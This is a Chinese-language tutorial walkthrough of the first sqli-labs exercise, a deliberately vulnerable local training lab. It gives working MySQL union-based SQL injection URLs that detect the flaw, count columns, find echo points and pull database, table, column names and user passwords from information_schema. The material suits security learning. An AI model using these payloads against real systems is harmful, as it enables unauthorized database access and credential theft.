Less-01
为方便初学者理解,更改了sqli-labs的源码,以显示sql语句
后期学习中需要自己推理
在url后面用get传值id=1,随后能看到网页出现变化
如下图
不断更改上传id的值,会有不同的用户信息显示。 按递增顺序直到14为止, 即(1~14)
出现报错 内容大致为LIMIT0,1附近有语法错误。
为什么要使用单引号进行判断
实际上,我们可以看到sql语句为
SELECT * FROM users WHERE id=‘1’’ LIMIT 0,1
因为在1的右边多出了一个单引号,也就时我们注入了一个单引号
原本为SELECT * FROM users WHERE id=‘1’ LIMIT 0,1
然后进行下一步的操作,老三样or 1=1 and 1=1 and 1=2
因为1=1为恒真,且前面的id='1’也为真 所以or 1=1 和 and 1=1并没有出现什么异常
但是and 1=2,因为1=2为假,所以原本id=1的用户信息不见了
说明存在注入点。
随后可以使用order by进行判断,有几列信息(字段数)
http://localhost/sqli-labs/Less-1/?id=1’ order by 3 --+
url最后的- -+用来注释掉后面的limit0,1
从1开始直到4,发现3的时候没异常,但是4的时候报错,说明没有第四个字段即没有第四列
原理
打开MySQL,对存放这些用户信息的表依次使用order by 1(2,3)
如图、发现order by的作用是对第N列进行排序 ,因为一共有3列,所以order by 4时会报错
继续操作 使用联合查询找出回显点
http://localhost/sqli-labs/Less-1/?id=16’ union select 1,2,3 --+
构造sql语句SELECT * FROM users WHERE id=‘16’ union select 1,2,3 --+ ’ LIMIT 0,1
发现页面回显2,3出现在页面上,所以可以对2,3所在位置加以利用。
原理
在MySQL中对存放用户信息的表进行union select 1,2,3。改变前面id的值,对比结果。
然后对union select找出的回显点进行利用,来获得目标信息。
version()函数MySQL数据库版本,user()为当前用户名
在原本2的位置改为version(),3的位置写入user()
http://localhost/sqli-labs/Less-1/?id=16’ union select 1,version(), user() --+
如图 页面回显了MySQL的版本信息,当前用户的用户名
爆数据库名
MySQL数据库名都在这个information_schema库下的schemata表中
用这个sql语句能爆出库名
select schema_name from information_schema.schemata;
http://localhost/sqli-labs/Less-1/?id=16’ union select 1,2, schema_name from information_schema.schemata limit 0,1 --+
按以上limit提取数据库名有点繁琐,可以使用group_concat()函数,将所有数据合并为一个字段一并取出
构造语句
http://localhost/sqli-labs/Less-1/?id=16’ union select 1,database(), group_concat(schema_name) from information_schema.schemata --+
database()是当前使用的数据库名,后面group_concat(schema_name) from information_schema.schemata --+为用户所有的数据库名
爆表名
MySQL数据库中表名都在这个information_schema库下的tables表中
当前使用的数据库为Security
然后构造语句爆出该库下所有的表名
http://localhost/sqli-labs/Less-1/?id=16’ union select 1,database(), group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
爆字段名
MySQL数据库中字段名都在这个information_schema库下的columns表中
构造语句
http://localhost/sqli-labs/Less-1/?id=16’ union select 1,database(), group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
因为我本机的运行环境比较复杂,正常情况下只有三个字段名id,username和password
获取用户名
至此,知道数据库名、表名和字段名,构造语句爆出用户名和密码
http://localhost/sqli-labs/Less-1/?id=16’ union select 1,2 , group_concat(username) from security.users --+
http://localhost/sqli-labs/Less-1/?id=16’ union select 1,2 , group_concat(password) from security.users --+
less-01结束